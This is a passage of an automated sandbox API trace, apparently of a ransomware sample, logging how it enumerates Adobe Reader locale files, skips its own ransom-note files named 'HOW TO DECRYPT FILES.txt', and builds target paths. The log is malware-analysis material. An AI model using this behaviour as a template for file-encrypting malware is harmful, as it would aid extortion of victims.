lpMsg=0x18f634) returned 0 [0070.431] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IA32.CAT") returned -1 [0070.431] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IA32.CAT") returned -1 [0070.431] lstrcmpiA (lpString1="", lpString2="IA32.CAT") returned -1 [0070.431] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT") returned="EScript.CAT" [0070.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.431] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.432] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.432] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.432] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="IA32.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT" [0070.432] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x74, dwReserved1=0x0, cFileName="makeaccessible.CAT", cAlternateFileName="MAKEAC~1.CAT")) returned 1 [0070.432] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.432] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="makeaccessible.CAT") returned -1 [0070.432] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="makeaccessible.CAT") returned -1 [0070.432] lstrcmpiA (lpString1="", lpString2="makeaccessible.CAT") returned -1 [0070.432] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT") returned="IA32.CAT" [0070.432] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.432] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.432] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.433] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.433] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="makeaccessible.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT" [0070.433] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x74, dwReserved1=0x0, cFileName="Multimedia.CAT", cAlternateFileName="MULTIM~1.CAT")) returned 1 [0070.433] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.433] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Multimedia.CAT") returned -1 [0070.433] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Multimedia.CAT") returned -1 [0070.433] lstrcmpiA (lpString1="", lpString2="Multimedia.CAT") returned -1 [0070.433] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT") returned="makeaccessible.CAT" [0070.433] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.433] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.433] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.433] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.433] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="Multimedia.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT" [0070.433] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="pddom.CAT", cAlternateFileName="")) returned 1 [0070.434] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.434] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pddom.CAT") returned -1 [0070.434] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pddom.CAT") returned -1 [0070.434] lstrcmpiA (lpString1="", lpString2="pddom.CAT") returned -1 [0070.434] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT") returned="Multimedia.CAT" [0070.434] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.434] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.434] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.434] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.434] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="pddom.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT" [0070.434] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x85c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="PPKLite.CAT", cAlternateFileName="")) returned 1 [0070.434] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.434] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PPKLite.CAT") returned -1 [0070.434] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PPKLite.CAT") returned -1 [0070.434] lstrcmpiA (lpString1="", lpString2="PPKLite.CAT") returned -1 [0070.435] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT") returned="pddom.CAT" [0070.435] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.435] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.435] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.435] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.435] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="PPKLite.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT" [0070.435] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="RdLang32.CAT", cAlternateFileName="")) returned 1 [0070.435] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.435] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RdLang32.CAT") returned -1 [0070.435] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RdLang32.CAT") returned -1 [0070.435] lstrcmpiA (lpString1="", lpString2="RdLang32.CAT") returned -1 [0070.435] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT") returned="PPKLite.CAT" [0070.435] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.435] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.435] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.435] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.436] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="RdLang32.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT" [0070.436] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="ReadOutLoud.CAT", cAlternateFileName="READOU~1.CAT")) returned 1 [0070.436] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.436] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ReadOutLoud.CAT") returned -1 [0070.436] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ReadOutLoud.CAT") returned -1 [0070.436] lstrcmpiA (lpString1="", lpString2="ReadOutLoud.CAT") returned -1 [0070.436] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT") returned="RdLang32.CAT" [0070.436] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.436] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.436] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.436] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.436] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="ReadOutLoud.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" [0070.436] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x74, dwReserved1=0x0, cFileName="reflow.CAT", cAlternateFileName="")) returned 1 [0070.436] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.436] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="reflow.CAT") returned -1 [0070.437] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="reflow.CAT") returned -1 [0070.437] lstrcmpiA (lpString1="", lpString2="reflow.CAT") returned -1 [0070.437] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT") returned="ReadOutLoud.CAT" [0070.437] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.437] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.437] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.437] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.437] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="reflow.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT" [0070.437] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="SaveAsRTF.CAT", cAlternateFileName="SAVEAS~1.CAT")) returned 1 [0070.437] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.437] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SaveAsRTF.CAT") returned -1 [0070.437] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SaveAsRTF.CAT") returned -1 [0070.437] lstrcmpiA (lpString1="", lpString2="SaveAsRTF.CAT") returned -1 [0070.437] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT") returned="reflow.CAT" [0070.437] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.437] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.437] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.437] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.438] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="SaveAsRTF.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" [0070.438] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x74, dwReserved1=0x0, cFileName="Search.CAT", cAlternateFileName="")) returned 1 [0070.438] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.438] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Search.CAT") returned -1 [0070.438] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Search.CAT") returned -1 [0070.438] lstrcmpiA (lpString1="", lpString2="Search.CAT") returned -1 [0070.438] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT") returned="SaveAsRTF.CAT" [0070.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.438] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.438] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", 